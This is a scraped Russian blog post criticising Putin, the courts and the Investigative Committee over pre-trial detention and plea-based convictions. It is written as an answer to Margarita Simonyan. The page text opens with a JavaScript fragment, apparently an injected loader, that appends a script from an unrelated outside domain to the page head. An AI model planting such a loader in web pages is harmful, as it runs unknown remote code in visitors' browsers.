, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })
RSS
 

Отвечаю на вопрос Маргариты Симоньян

16 Янв

Маргарита спрашивает: https://echo.msk.ru/blog/simonyan/2353121-echo/      «А вот кто теперь компенсирует поломанную жизнь и год без матери её детям — непонятно».

Прежде всего, отвечать должен тот, кого единственный источник власти, многонациональный народ, назначил гарантом Конституции — Владимир Путин.

Именно Путин осуществляет http://www.consultant.ru/document/cons_doc_LAW_108565/  руководство деятельностью Следственного комитета, утверждает Положение о Следственном комитете Российской Федерации, перечень должностей в Следственном комитете Российской Федерации, по которым предусмотрено присвоение высших специальных званий, и устанавливает штатную численность Следственного комитета, в том числе штатную численность военных следственных органов Следственного комитета.

Именно назначенцы путина являются руководителями следственных органов, которые уполномочены  проверять материалы уголовного дела, отменять незаконные или необоснованные постановления следователя, а также отстранять следователя от дальнейшего производства расследования, если им допущено нарушение требований УПК РФ (статья 38 УПК РФ).

Если эти должностные лица халатно отнеслись к своим обязанностям, то Конституция России (статья 46), как воля народа, каждому гражданину гарантирует судебную защиту от незаконных и необоснованных решений и действий (или бездействия) органов государственной власти и должностных лиц.

Судебная защита может осуществляться только при наличии правосудия, как вида государственной деятельности, осуществляемой с соблюдением особого порядка, закреплённого Конституцией и процессуальным законодательством.

Но вот именно правосудия в стране нет, а уже более 15 лет существует узаконенное Путиным самовластие.

Судьи, при избрании такой  меры пресечения, как содержание под стражей, не проверяют законность привлечения в качестве обвиняемого. Даже когда адвокат ходатайствует о проверки исполнения требований статьи 171 УПК РФ, судьи отклоняют его, обосновывая своё решение тем, что такая проверка будет  предрешением вопроса о виновности лица.

Получается, что закон, обязывает следователя выносить постановление о привлечении данного лица  в качестве обвиняемого, только при наличии достаточных доказательств, дающих основания для обвинения, а вот наличие тех самых достаточных доказательств, суд отказывается проверять, заключая лицо под стражу.

Ещё в 2014 году Генеральный прокурор Юрий Чайка публично утверждал https://ria.ru/20140212/994496671.html   : «Люди годами сидят незаконно». И с тех пор  стало ещё хуже.

А как может быть иначе, если более 15 лет в стране осуществляется особый порядок принятия судебного решения при согласии обвиняемого с предъявленным обвинением?

Вот и держат под стражей годами, добиваясь того самого  согласия с предъявленным обвинением.

Как только такое согласие получили, то судопроизводство осуществляется без исследования и оценки доказательств, собранных по уголовному делу.

Вынесенный так  приговор, осужденный, уже не может обжаловать в апелляционном порядке, из-за того, что выводы суда не подтверждаются доказательствами, рассмотренными в судебном заседании.

Но эти самые доказательства суд не рассматривал ни при избрании меры пресечения в качестве содержания под стражей, ни при постановлении приговора.

О том, что так осуждать нельзя, предписывает Конституция России и часть 2 статьи 77 УПК РФ: «Признание обвиняемым своей вины в совершении преступления может быть положено в основу обвинения лишь при подтверждении его виновности совокупностью имеющихся по уголовному делу доказательств».

Именно Путин формирует состав  исполнителей судебной власти, которые так осуществляют судопроизводство.

Именно Путин подписал и  обнародовал закон об осуждении без  исследования и оценки доказательств, собранных по уголовному делу, игнорируя требования Конституции России и ч. 2 статьи 77 УПК РФ.

На признании обвиняемым обвинения, без исследования и проверки доказательств, сегодня осуждают около 70% подсудимых. А это 500−700 тысяч человек ежегодно.

При этом Генеральный прокурор Юрий Чайка утверждает: http://genproc.gov.ru/smi/interview_and_appearences/interview/547089/%20   «число допускаемых нарушений законодательства, в том числе конституционных прав граждан, не только не снижается, но и растет».

Учитывая, что  Маргарита Симоньян является главным редактором уважаемого мною телеканала RT, рекомендую ей обращаться по правовым вопроса к настоящим юристам, а не «популярным». А ещё лучше содержать в редакции настоящего правоведа.

 
Комментариев нет

Автор: ossin Категория: Прочие заметки

 

Оставить комментарий

Вы должны войти, чтобы оставить комментарий.